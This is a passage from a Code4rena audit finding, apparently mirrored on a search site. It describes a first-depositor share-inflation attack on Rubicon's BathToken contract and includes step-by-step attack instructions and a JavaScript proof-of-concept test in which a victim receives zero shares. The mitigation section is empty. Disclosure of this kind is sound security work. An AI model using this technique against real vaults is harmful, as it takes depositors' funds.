Lucene search

K
code423n4Code4renaCODE423N4:2022-05-RUBICON-FINDINGS-ISSUES-397
HistoryMay 28, 2022 - 12:00 a.m.

First depositor can break minting of shares

2022-05-2800:00:00
Code4rena
github.com
2

Lines of code

Vulnerability details

Impact

The attack vector and impact is the same as TOB-YEARN-003, where users may not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large “donation”.

Proof of Concept

In BathToken.sol:569-571, the allocation of shares is calculated as follows:

(totalSupply == 0) ? shares = assets : shares = (
    assets.mul(totalSupply)
).div(_pool);

An early attacker can exploit this by:

  • Attacker calls openBathTokenSpawnAndSignal() with initialLiquidityNew = 1, creating a new bath token with totalSupply = 1
  • Attacker transfers a large amount of underlying tokens to the bath token contract, such as 1000000
  • Using deposit(), a victim deposits an amount less than 1000000, such as 1000:
    • assets = 1000
    • (assets * totalSupply) / _pool = (1000 * 1) / 1000000 = 0.001, which would round down to 0
    • Thus, the victim receives no shares in return for his deposit

To avoid minting 0 shares, subsequent depositors have to deposit equal to or more than the amount transferred by the attacker. Otherwise, their deposits accrue to the attacker who holds the only share.

it("Victim receives 0 shares", async () => {
    // 1. Attacker deposits 1 testCoin first when creating the liquidity pool
    const initialLiquidityNew = 1;
    const initialLiquidityExistingBathToken = ethers.utils.parseUnits("100", decimals);
    
    // Approve DAI and testCoin for bathHouseInstance
    await testCoin.approve(bathHouseInstance.address, initialLiquidityNew, {
        from: attacker,
    });
    await DAIInstance.approve(
        bathHouseInstance.address,
        initialLiquidityExistingBathToken,
        { from: attacker }
    );

    // Call open creation function, attacker deposits only 1 testCoin
    const desiredPairedAsset = await DAIInstance.address;
    await bathHouseInstance.openBathTokenSpawnAndSignal(
        await testCoin.address,
        initialLiquidityNew,
        desiredPairedAsset,
        initialLiquidityExistingBathToken,
        { from: attacker }
    );
    
    // Retrieve resulting bathToken address
    const newbathTokenAddress = await bathHouseInstance.getBathTokenfromAsset(testCoin.address);
    const _newBathToken = await BathToken.at(newbathTokenAddress);

    // 2. Attacker deposits large amount of testCoin into liquidity pool
    let attackerAmt = ethers.utils.parseUnits("1000000", decimals);
    await testCoin.approve(newbathTokenAddress, attackerAmt, {from: attacker});
    await testCoin.transfer(newbathTokenAddress, attackerAmt, {from: attacker});

    // 3. Victim deposits a smaller amount of testCoin, receives 0 shares
    // In this case, we use (1 million - 1) testCoin
    let victimAmt = ethers.utils.parseUnits("999999", decimals);
    await testCoin.approve(newbathTokenAddress, victimAmt, {from: victim});
    await _newBathToken.deposit(victimAmt, victim, {from: victim});
    
    assert.equal(await _newBathToken.balanceOf(victim), 0);
});

Recommended Mitigation Steps


The text was updated successfully, but these errors were encountered:

All reactions